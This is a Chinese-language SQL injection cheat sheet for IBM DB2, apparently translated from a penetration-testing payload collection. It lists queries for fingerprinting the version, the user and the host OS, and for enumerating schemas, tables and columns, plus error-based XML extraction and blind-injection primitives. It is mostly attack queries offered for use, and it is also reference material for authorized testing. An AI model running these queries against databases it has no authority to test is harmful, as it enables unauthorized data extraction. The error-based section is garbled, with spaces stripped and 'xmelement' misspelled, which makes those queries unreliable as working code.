select versionnumber, version_timestamp from sysibm.sysversions;
DBMS 版本
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
DBMS 版本
select getvariable('sysibm.version') from sysibm.sysdummy1
DBMS 版本
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
DBMS 版本
select service_level,bld_level from sysibmadm.env_inst_info
当前用户
select user from sysibm.sysdummy1
当前用户
select session_user from sysibm.sysdummy1
当前用户
select system_user from sysibm.sysdummy1
当前数据库
select current server from sysibm.sysdummy1
操作系统信息
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info
DB2 方法论 (DB2 Methodology)
方法描述
SQL 查询
列出数据库
SELECT distinct(table_catalog) FROM sysibm.tables
列出数据库
SELECT schemaname FROM syscat.schemata;
列出列名
SELECT name, tbname, coltype FROM sysibm.syscolumns
列出表名
SELECT table_name FROM sysibm.tables
列出表名
SELECT name FROM sysibm.systables
列出表名
SELECT tbname FROM sysibm.syscolumns WHERE name='username'
基于报错的 DB2 注入 (DB2 Error Based)
-- 在一个 XML 格式的字符串中返回所有结果selectxmlagg(xmlrow(table_schema))fromsysibm.tables-- 同上,但不包含重复元素selectxmlagg(xmlrow(table_schema))from(selectdistinct(table_schema)fromsysibm.tables)-- 在一个 XML 格式的字符串中返回所有结果。-- 可能需要使用 CAST(xml2clob(… AS varchar(500)) 来显示结果。selectxml2clob(xmelement(namet,table_schema))fromsysibm.tables
基于盲注的 DB2 注入 (DB2 Blind Based)
盲注描述
SQL 查询
子字符串截取
select substr('abc',2,1) FROM sysibm.sysdummy1
ASCII 对应字符
select chr(65) from sysibm.sysdummy1
字符转 ASCII
select ascii('A') from sysibm.sysdummy1
选择第 N 行
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only